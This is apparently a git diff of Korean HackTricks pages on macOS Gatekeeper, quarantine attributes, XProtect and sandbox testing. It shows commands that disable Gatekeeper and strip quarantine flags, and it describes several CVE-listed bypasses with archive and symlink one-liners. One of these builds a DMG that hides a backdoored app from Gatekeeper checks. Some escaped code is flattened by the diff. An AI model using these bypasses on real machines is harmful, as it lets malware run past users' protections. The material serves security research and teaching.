anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
|
||||
첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝났음을 주목하세요. 그리고 이전 이미지에서는 **App Store 및 식별된 개발자로부터 앱을 실행할 수 있도록** 설정되어 있었습니다.\
|
||||
만약 그 설정을 App Store로 **변경**하면 "**Notarized Developer ID" 규칙이 사라집니다**.
|
||||
|
||||
또한 **GKE 유형의 수천 개의 규칙**이 있습니다.
|
||||
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -106,13 +113,17 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**에서 가져온 해시입니다.
|
||||
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 \*\*`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`\*\*에서 가져온 해시입니다.
|
||||
|
||||
또는 이전 정보를 다음과 같이 나열할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
**`spctl`**의 **`--master-disable`**와 **`--global-disable`** 옵션은 이러한 서명 검사를 완전히 **비활성화**합니다:
|
||||
|
||||
\*\*`spctl`\*\*의 \*\*`--master-disable`\*\*와 **`--global-disable`** 옵션은 이러한 서명 검사를 완전히 **비활성화**합니다:
|
||||
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -122,15 +133,19 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
|
||||
완전히 활성화되면 새로운 옵션이 나타납니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
GateKeeper로 **앱이 허용될지 확인**할 수 있습니다.
|
||||
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
||||
GateKeeper에 새로운 규칙을 추가하여 특정 앱의 실행을 허용할 수 있습니다. 다음과 같이 진행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
|
@ -145,6 +160,7 @@ sudo spctl --enable --label "whitelist"
|
|||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
|
||||
### 격리 파일
|
||||
|
||||
애플리케이션 또는 파일을 다운로드하면 macOS의 웹 브라우저나 이메일 클라이언트와 같은 특정 애플리케이션은 다운로드한 파일에 "**격리 플래그**"라고 알려진 확장 파일 속성을 부착합니다. 이 속성은 파일을 신뢰할 수 없는 출처(인터넷)에서 가져온 것으로 표시하고 잠재적인 위험을 가질 수 있으므로 보안 조치로 작동합니다. 그러나 일부 애플리케이션은 이 속성을 부착하지 않습니다. 예를 들어, 일반적인 BitTorrent 클라이언트 소프트웨어는 이 프로세스를 우회합니다.
|
||||
|
@ -166,6 +182,7 @@ spctl --assess -v /Applications/App.app
|
|||
{% endhint %}
|
||||
|
||||
다음과 같이 상태를 **확인하고 활성화/비활성화**할 수 있습니다(루트 권한 필요):
|
||||
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -174,6 +191,7 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
|
||||
다음과 같이 **파일이 격리 확장 속성을 가지고 있는지 확인**할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
|
@ -181,12 +199,15 @@ xattr -p com.apple.quarantine <file_path>
|
|||
```
|
||||
|
||||
이 명령은 `<file_path>`에 지정된 파일의 `com.apple.quarantine` 속성을 출력합니다.
|
||||
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
|
||||
**확장 속성**의 **값**을 확인하고 다음과 같이 quarantine 속성을 작성한 앱을 찾습니다.
|
||||
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -202,70 +223,34 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
실제로 프로세스는 생성하는 파일에 격리 플래그를 설정할 수 있습니다 (생성된 파일에 USER_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다):
|
||||
|
||||
실제로 프로세스는 생성하는 파일에 격리 플래그를 설정할 수 있습니다 (생성된 파일에 USER\_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>격리 플래그 적용 소스 코드</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
enum qtn_flags {
|
||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||
QTN_FLAG_SANDBOX = 0x0002,
|
||||
QTN_FLAG_HARD = 0x0004,
|
||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||
};
|
||||
\`\`\`c #include #include
|
||||
|
||||
#define qtn_proc_alloc _qtn_proc_alloc
|
||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||
#define qtn_proc_free _qtn_proc_free
|
||||
#define qtn_proc_init _qtn_proc_init
|
||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||
#define qtn_file_alloc _qtn_file_alloc
|
||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||
#define qtn_file_free _qtn_file_free
|
||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||
#define qtn_file_set_flags _qtn_file_set_flags
|
||||
#define qtn_file_get_flags _qtn_file_get_flags
|
||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||
|
||||
typedef struct _qtn_proc *qtn_proc_t;
|
||||
typedef struct _qtn_file *qtn_file_t;
|
||||
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||
|
||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||
void qtn_proc_init(qtn_proc_t);
|
||||
int qtn_proc_init_with_self(qtn_proc_t);
|
||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||
qtn_proc_t qtn_proc_alloc();
|
||||
void qtn_proc_free(qtn_proc_t);
|
||||
qtn_file_t qtn_file_alloc(void);
|
||||
void qtn_file_free(qtn_file_t qf);
|
||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||
|
||||
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||
|
||||
int main() {
|
||||
|
||||
qtn_proc_t qp = qtn_proc_alloc();
|
||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||
qtn_proc_apply_to_self(qp);
|
||||
qtn_proc_free(qp);
|
||||
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||
|
||||
FILE *fp;
|
||||
fp = fopen("thisisquarantined.txt", "w+");
|
||||
fprintf(fp, "Hello Quarantine\n");
|
||||
fclose(fp);
|
||||
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
그리고 다음과 같이 그 속성을 **제거**하십시오:
|
||||
|
@ -273,7 +258,8 @@ return 0;
|
|||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```
|
||||
````
|
||||
|
||||
다음 명령어를 사용하여 모든 격리된 파일을 찾으세요:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -282,13 +268,13 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Quarantine 정보는 LaunchServices가 관리하는 중앙 데이터베이스인 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에 저장됩니다.
|
||||
Quarantine 정보는 LaunchServices가 관리하는 중앙 데이터베이스인 \*\*`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`\*\*에 저장됩니다.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
**Quarantine.kext**
|
||||
|
||||
커널 확장은 시스템의 커널 캐시를 통해서만 사용할 수 있습니다. 그러나 **https://developer.apple.com/**에서 **Kernel Debug Kit**을 다운로드하여 커널 확장의 심볼화된 버전을 얻을 수 있습니다.
|
||||
커널 확장은 시스템의 커널 캐시를 통해서만 사용할 수 있습니다. 그러나 \*\*https://developer.apple.com/\*\*에서 **Kernel Debug Kit**을 다운로드하여 커널 확장의 심볼화된 버전을 얻을 수 있습니다.
|
||||
|
||||
### XProtect
|
||||
#### XProtect
|
||||
|
||||
XProtect는 macOS에 내장된 **안티-악성코드** 기능입니다. XProtect는 알려진 악성코드 및 위험한 파일 유형의 데이터베이스와 비교하여 애플리케이션이 처음 실행되거나 수정될 때마다 해당 애플리케이션을 확인합니다. Safari, Mail, 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드할 때 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 알려진 악성코드와 일치하는 경우, XProtect는 파일 실행을 **차단하고 위협을 알립니다**.
|
||||
|
||||
|
@ -311,66 +297,70 @@ XProtect는 SIP로 보호된 위치인 **/Library/Apple/System/Library/CoreServi
|
|||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 악성 코드를 감지하기 위한 Yara 규칙입니다.
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 응용 프로그램 및 TeamID의 해시를 포함하는 SQLite3 데이터베이스입니다.
|
||||
|
||||
XProtect와 관련된 다른 앱인 **`/Library/Apple/System/Library/CoreServices/XProtect.app`**도 있지만, 이 앱은 Gatekeeper 프로세스와 관련이 없습니다.
|
||||
XProtect와 관련된 다른 앱인 \*\*`/Library/Apple/System/Library/CoreServices/XProtect.app`\*\*도 있지만, 이 앱은 Gatekeeper 프로세스와 관련이 없습니다.
|
||||
|
||||
### Gatekeeper가 아닌 것들
|
||||
#### Gatekeeper가 아닌 것들
|
||||
|
||||
{% hint style="danger" %}
|
||||
Gatekeeper는 애플리케이션을 실행할 때마다 실행되는 것이 아니라, 이미 Gatekeeper에 의해 실행 및 확인된 앱을 실행할 때에만 _**AppleMobileFileIntegrity**_ (AMFI)가 실행되어 실행 가능한 코드 서명을 확인합니다.
|
||||
{% endhint %}
|
||||
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 다음 (Electron asar 또는 NIB 파일과 같은) 실행 불가능한 파일을 수정하고 다른 보호 기능이 없는 경우, 애플리케이션에 악성 추가 요소가 포함된 채로 **실행**할 수 있었습니다.
|
||||
|
||||
그러나 이제는 macOS가 애플리케이션 번들 내의 파일 수정을 방지합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 번들을 수정할 수 없으므로 이를 악용할 수 없음을 알 수 있습니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경한 다음 Gatekeeper로 앱을 캐시하기 위해 앱의 주 실행 파일을 실행하면 오류가 발생하여 실행되지 않습니다.
|
||||
|
||||
## Gatekeeper 우회
|
||||
### Gatekeeper 우회
|
||||
|
||||
Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 Gatekeeper가 금지해야 할 때 실행되도록 만드는 방법)은 macOS에서 취약점으로 간주됩니다. 다음은 과거에 Gatekeeper 우회를 허용한 기술에 할당된 일부 CVE입니다:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
**Archive Utility**를 사용하여 압축을 푸는 경우, **경로가 886자를 초과하는 파일**은 com.apple.quarantine 확장 속성을 받지 않습니다. 이로 인해 이러한 파일이 **Gatekeeper의** 보안 검사를 우회할 수 있게 됩니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하세요.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
**Automator**로 생성된 애플리케이션의 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며, 실행 파일에는 해당 정보가 없습니다. 실행 파일은 단순히 **Automator Application Stub**라는 일반적인 Automator 이진 파일입니다.
|
||||
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`을 다른 시스템 내부의 Automator Application Stub로 심볼릭 링크로 지정하면 `document.wflow`(스크립트) 내부의 내용이 실행되며, 실제 실행 파일에는 quarantine xattr이 없으므로 Gatekeeper가 트리거되지 않습니다. 
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`을 다른 시스템 내부의 Automator Application Stub로 심볼릭 링크로 지정하면 `document.wflow`(스크립트) 내부의 내용이 실행되며, 실제 실행 파일에는 quarantine xattr이 없으므로 Gatekeeper가 트리거되지 않습니다.
|
||||
|
||||
예상 위치의 예: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://ronmasas.com/posts/bypass-macos-gatekeeper)를 확인하세요.
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
이 우회에서는 압축을 시작하는 위치를 `application.app/Contents`가 아닌 `application.app`에서 시작하는 zip 파일이 생성되었습니다. 따라서 **quarantine 속성**은 `application.app/Contents`의 **모든 파일에 적용**되었지만 `application.app`에는 적용되지 않았으며, Gatekeeper가 확인하는 대상이었습니다. 따라서 `application.app`이 트리거될 때 **quarantine 속성이 없었기 때문에** Gatekeeper가 우회되었습니다.
|
||||
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)에서 자세한 정보를 확인하세요.
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
이 취약점의 악용은 이전과 매우 유사하지만 구성 요소는 다릅니다. 이 경우에는 \*\*`application.app/Contents`\*\*에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축이 풀릴 때 **`application.app`에 대한 quarantine 속성이 설정되지 않습니다**.
|
||||
|
||||
이 취약점의 악용은 이전과 매우 유사하지만 구성 요소는 다릅니다. 이 경우에는 **`application.app/Contents`**에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축이 풀릴 때 **`application.app`에 대한 quarantine 속성이 설정되지 않습니다**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하세요.
|
||||
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL \*\*`writeextattr`\*\*은 파일의 속성을 쓰지 못하도록 막을 수 있습니다:
|
||||
|
||||
ACL **`writeextattr`**은 파일의 속성을 쓰지 못하도록 막을 수 있습니다:
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
|
||||
또한, **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서는 xattr인 **`com.apple.acl.text`**에 저장된 ACL 텍스트 표현이 압축 해제된 파일에 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지지 않도록 ACL을 가진 애플리케이션을 **AppleDouble** 파일 형식으로 압축한 경우... quarantine xattr이 애플리케이션에 설정되지 않았습니다:
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서는 xattr인 \*\*`com.apple.acl.text`\*\*에 저장된 ACL 텍스트 표현이 압축 해제된 파일에 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지지 않도록 ACL을 가진 애플리케이션을 **AppleDouble** 파일 형식으로 압축한 경우... quarantine xattr이 애플리케이션에 설정되지 않았습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -384,17 +374,19 @@ python3 -m http.server
|
|||
추가 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)에서 확인할 수 있습니다.
|
||||
|
||||
AppleArchives를 사용하여 이 취약점을 악용할 수도 있습니다:
|
||||
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||
aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
구글 크롬이 macOS 내부 문제로 인해 다운로드된 파일에 **격리 속성을 설정하지 않았다**는 것이 발견되었습니다.
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble 파일 형식은 파일의 속성을 `._`로 시작하는 별도의 파일에 저장하여 macOS 기기 간에 파일 속성을 복사하는 데 도움이 됩니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에는 **격리 속성이 지정되지 않았다**는 것이 관찰되었습니다.
|
||||
|
||||
|
@ -412,6 +404,7 @@ aa archive -d test/ -o test.aar
|
|||
|
||||
게이트키퍼를 우회할 수 있도록 **격리 속성이 설정되지 않은 파일을 생성**할 수 있다면, **가능합니다.** 이 기교는 AppleDouble 이름 규칙을 사용하여 DMG 파일 응용 프로그램을 **생성**하고 격리 속성이 없는 **숨겨진** 파일에 대한 가시적인 파일을 심볼릭 링크로 생성하는 것입니다.\
|
||||
**DMG 파일이 실행**되면, 격리 속성이 없으므로 **게이트키퍼를 우회**합니다.
|
||||
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -427,20 +420,11 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### Quarantine xattr 예방
|
||||
|
||||
#### Quarantine xattr 예방
|
||||
|
||||
".app" 번들에서 quarantine xattr이 추가되지 않으면 실행 시 **Gatekeeper가 작동하지 않습니다**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 기본 샌드박스 디버그
|
||||
# macOS Default Sandbox Debug
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -53,6 +53,7 @@ return 0;
|
|||
다음 명령을 실행하여 컴파일합니다: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. `.app` 번들을 빌드합니다.
|
||||
|
||||
```bash
|
||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||
|
@ -74,10 +75,11 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
|
||||
3. 권한 부여 정의하기
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sandbox" %}
|
||||
{% tab title="undefined" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -90,6 +92,8 @@ cat << EOF > entitlements.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="샌드박스 + 다운로드" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
|
@ -109,6 +113,7 @@ EOF
|
|||
{% endtabs %}
|
||||
|
||||
4. 앱에 서명하세요 (키체인에서 인증서를 생성해야 합니다)
|
||||
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
@ -116,6 +121,7 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
|||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
@ -125,7 +131,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS 샌드박스 디버그 및 우회
|
||||
# macOS Sandbox Debug & Bypass
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* 회사를 **HackTricks에서 광고**하거나 **PDF로 HackTricks를 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
